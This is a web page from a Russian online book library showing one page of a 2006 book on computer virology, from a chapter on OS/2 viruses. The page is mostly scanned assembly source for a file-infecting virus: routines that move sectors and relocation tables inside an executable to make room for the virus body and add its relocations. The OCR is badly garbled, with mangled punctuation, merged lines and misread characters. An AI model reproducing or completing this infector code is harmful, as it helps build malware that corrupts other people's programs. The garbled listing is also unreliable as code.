Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 111 112 113 114 115 116 < 117 > 118 119 120 121 122 .. 123 >> Следующая

вплоть до требуемого количества. В записи dx-максимальное число секторов
для перемещения, а di-самый нижний номер сектора, который подлежит
перемещению. Эта подпрограмма работает от конца файла, поэтому если X -
количеству секторов для перемещения, она будет переносить все секторы из
di+dx-X в di+dx-1. Все секторы переносятся из [VIRSECS].
MOVE_SECTORS:
push dx [сначала определяем число секторов для перемещения mov
ax,DATABUF_SIZE mov cx,[LOG_SEC] xor dx.dx
div cx ;ах=размер буфера данных в логических секторах pop dx
cmp ax,dx;ax>dx? (максимальное число секторов для перемещения) jie SHORT
MS1
mov ax.dx ;ах=количество секторов для перемещения MS1: push ах [сохраняем
его, если не конец add di.dx
sub di.ax ;di=1 -й сектор для перемещения
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
mov cx,[LOG_SEC]
mul сх ;ах = байтов для перемещения за этот раз push ах сохраняем
значение в стеке
mov ax.di mov cx,[LOG_SEC] mul cx mov cx.dx mov dx,ax
call RLE_SEEK_ST ;ищем стартовый сектор для перемещения
pop сх • ;сх=байтов для чтения
mov dx,OFFSET TEMP
call FILE_READ ;читаем их
push ax сохраняем фактическое число байтов для чтения mov ax.di
add ax,[VIRSECS] ;ах=локация, в которую производится перемещение ;(в
секторах) mov cx,[LOG_SEC] mul сх ;dx:ax = локация, в которую
производится перемещение (в байтах) mov cx,dx установить функцию поиска
mov dx.ax
call FILE SEEK ST ;и переместиться сюда pop сх ;байты для записи mov
dx,OFFSET TEMP
call FILE_WRITE ;пишем сюда нужное число байтов
pop ах рапортуем о секторах, перенесенных за этот раз ret
Эта подпрограмма устанавливает переменные RELOCS и CS SIZE в памяти из
незараженного файла. Затем она обновляет счетчик перемещений в файле и
добавляет количество перемещений, требуемое вирусом.
SET_RELOCS:
mov WORD PTR [RELOCS],О
ГЛАВА 10. Вирусы для OS/2
mov dx,\AADRD PTR [NEWJHDR+16Н] {читаем запись первоначального ;cs
сегментной таблицы call GET_SEG_ENTRY
mov ax.WORD PTR [TEMP+4] ;получаем флаги сегмента xor dx.dx
and ah, 1 проверяем данные для перемещения
mov ах,WORD PTR [NEW_HDR+14H] ;размер сегмента w/o вируса
jz SHORT SRE ;нет данных, продолжаем
push ax
push ax ;данные перемещения, как много? mov ax,[INITSEC] ;находим конец
кода в файле
mov cx.[LOG_SEC] mul сх ;dx:ax = начало cs в файле pop сх ;сх = размер
кода add ах.сх adc dx,0 mov cx.dx
mov dx.ax ;cx:dx = конец cs в файле push cx push dx
call FILE_SEEK_ST ;начинаем искать его mov dx,OFFSET RELOCS mov cx,2
call FILE_READ ;читаем 2-байговый счет перемещений pop dx pop cx
call FILE_SEEK_ST {возвращаемся к этой локации mov ах, [RELOCS] push ax
mov si,[VStART]
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
add ax.cs:[si+ARELOCS] mov [RELOCS] ,ах mov cx,2
mov dx,OFFSET RELOCS .обновляем перемещения в файле call FILE_WRITE
[добавляем к ним перемещения pop [RELOCS] mov ах, [RELOCS] shl ах.З
add ax,2 [размер данных перемещения pop сх [размер кода в сегменте xor
dx.dx
add ах,сх [полный размер сегмента adc dx.O
SRE: mov [CS_SIZE],ax [сохранить его здесь ret
Эта подпрограмма переносит перемещения в конец первоначального сегмента
кода, чтобы создать место для вируса. Она переносит любое количество
записей перемещений, каждая из которых является 8-байтовой. Она также
добавляет к файлу новые перемещения для вируса.
RELOCATE_RELOCS:
mov ах,[RELOCS] [количество перемещений mov cl,3 shl ax.cl
add ах,2 ;ах=полное количество байтов для перемещ ения
push ax
mov ax,[INITSEC]
mov cx,[LOG_SEC]
mul cx ;dx:ax = начало cs в файле
add ax.WORD PTR [NEW_HDR+14H]
adc dx,0 = конец cs в файле
ЛСкП
ГЛАВА 10. Вирусы для OS/2
pop сх ;сх = размер перемещения add ах.сх
adc dx,0 ;dx:ax = конец кода+перемещения xchg ах.сх
xchg dx.cx ;ах=размер сх:бх=локация
RR_LP: push сх push dx push ax
cmp ax, DATABUF_SIZE jle SHORT RR1 mov ax,DATABUF_SIZE {читаем вплоть до
байтов DATABUFjSIZE RRT. sub dx.ax {возвращаем вверх указатель файла sbb
сх.О push сх push dx push ax
call FILE_SEEK_ST ;ищем желаемую локацию в файле pop сх
mov dx.OFFSETTEMP call FILE_READ {читаем требуемое число байтов, число в
ах pop dx pop сх
push ах {сохраняем число байтов для чтения
add dx,VIRUS_SiZE {перемещаем указатель файла вверх
adc сх,0
call FILE_SEEK_ST
pop сх {байтов для записи
mov dx,OFFSET TEMP
call FILE_WRITE {записываем их в новую локацию pop ах pop dx pop cx
cmpax,DATABUF_SIZE {байтов для записи меньше, чем ;DATABUF_SIZE?
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
jle SHORT RRE ;да, все сделано sub ax,DATABUF_SIZE ;нет, подстраиваем
индекс sub dx,DATABUF_SIZE sbb сх.О
jmp RR_LP ;и переходим к другому RRE: mov si. [VSTART]
mov cx,cs:[si+ARELOCS] добавляем ARELOCS перемещений к концу push si
mov di,OFFSET TEMP add si,OFFSET ARELOCS + 2 ;si указывает на таблицу
перемещений RRL: mov ax,cs:[si] [переносим перемещения в буфер и
[подстраиваем их
stosw add si,2 mov ax,cs:[si] add si,2
add ax.WORD PTR [NEW_HDR+14H] добавляем размер оригинального [кода к
офсету, указанному здесь
stosw
mov ах,[KERNEL] [вставляем ссылку модуля KERNEL "по next" add si,2 stosw
Предыдущая << 1 .. 111 112 113 114 115 116 < 117 > 118 119 120 121 122 .. 123 >> Следующая